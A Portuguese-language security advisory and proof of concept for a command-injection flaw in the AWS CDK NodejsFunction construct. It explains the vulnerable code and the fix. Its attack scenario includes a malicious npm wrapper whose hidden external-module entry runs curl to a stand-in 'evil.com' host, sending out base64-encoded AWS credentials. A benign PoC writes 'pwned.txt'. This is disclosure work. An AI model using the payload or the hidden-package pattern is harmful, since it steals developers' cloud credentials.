Análise técnica e Prova de Conceito (PoC) para CVE-2026-11417: Injeção de Comandos do SO / Execução Remota de Código (RCE) no NodejsFunction do AWS CDK.
Autor: Hesham Ashraf (@HeshamASH)
Data: 10 de junho de 2026
Gravidade: Alta (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Neutralização Incorreta de Elementos Especiais usados em um Comando do SO (Injeção de Comando do SO)
Pacote Afetado: aws-cdk-lib (npm), todas as versões anteriores à 2.245.0
Fornecedor: Amazon Web Services (AWS)
Status: Corrigido (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Boletim: AWS-2026-041 | Advertência: GHSA-999r-qq7v-r334
Descobri uma vulnerabilidade de injeção de comando no AWS Cloud Development Kit (CDK) que permitia a um atacante obter Execução Remota de Código (RCE) em qualquer máquina executando cdk synth — incluindo estações de trabalho de desenvolvedores e pipelines de CI/CD — ao publicar um pacote npm malicioso ou enviar um Pull Request especialmente elaborado.
A vulnerabilidade existia porque o construct NodejsFunction do aws-cdk-lib interpolava strings controladas pelo usuário diretamente em um comando de shell sem sanitização e, em seguida, as executava via bash -c / cmd /c. A AWS corrigiu o problema substituindo a execução baseada em shell por matrizes de argumentos diretas do spawnSync.
O AWS Cloud Development Kit (CDK) é um framework open-source amplamente utilizado para definir infraestrutura de nuvem como código. Ele é usado por dezenas de milhares de desenvolvedores e pipelines de CI/CD para sintetizar e implantar stacks do AWS CloudFormation.
O construct NodejsFunction é um dos constructs L2 mais populares do CDK. Ele empacota funções Lambda TypeScript/JavaScript usando esbuild durante a fase de síntese (cdk synth).
O caminho de empacotamento local do construct NodejsFunction construía uma string de comando de shell interpolando diretamente várias propriedades controladas pelo usuário, sem qualquer sanitização:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING
];
A matriz era então unida em uma única string e passada para um shell:
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Metacaracteres de shell como &, ;, |, ` e $(...) em qualquer uma das propriedades injetáveis seriam interpretados pelo shell como separadores de comandos, permitindo a execução arbitrária de comandos.
| Propriedade | Sanitização | Nível de Risco |
|---|---|---|
externalModules | Nenhuma | Crítico |
define (chaves) | Nenhuma (valores usam JSON.stringify) | Crítico |
loader (chaves) | Nenhuma | Crítico |
inject | Nenhuma | Crítico |
esbuildArgs (chaves/valores) | Nenhuma | Crítico |
Esta vulnerabilidade é particularmente perigosa porque a injeção ocorre na camada de síntese do CDK, não durante o npm install. Isso significa que medidas de segurança padrão do npm, como o --ignore-scripts, não oferecem nenhuma proteção.
Um atacante publica um pacote npm de aparência legítima que encapsula o NodejsFunction:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Hidden payload among legitimate-looking externals
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Quando um desenvolvedor instala este pacote e executa cdk synth, o CDK constrói:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
O caractere & divide isso em dois comandos de shell independentes:
npx esbuild --bundle handler.ts --external:lodash — o esbuild executa normalmentecurl https://evil.com/... — o payload do atacante exfiltra as credenciais da AWS| Defesa | Eficaz? | Por quê |
|---|---|---|
npm install --ignore-scripts | Não | A injeção ocorre durante o cdk synth, não na instalação do pacote |
Revisão de código do package.json | Não | O payload está no código TypeScript do construct, não em scripts |
| npm audit | Não | O pacote não contém vulnerabilidades conhecidas |
| Integridade do lockfile | Não | O pacote em si é instalado corretamente |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts com o payload de injeçãoimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
O arquivo pwned.txt é criado, confirmando a execução arbitrária de comandos no host.
spawnSync baseado em matrizA correção principal substitui a construção de strings de comando de shell por spawnSync direto, usando matrizes de argumentos:
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });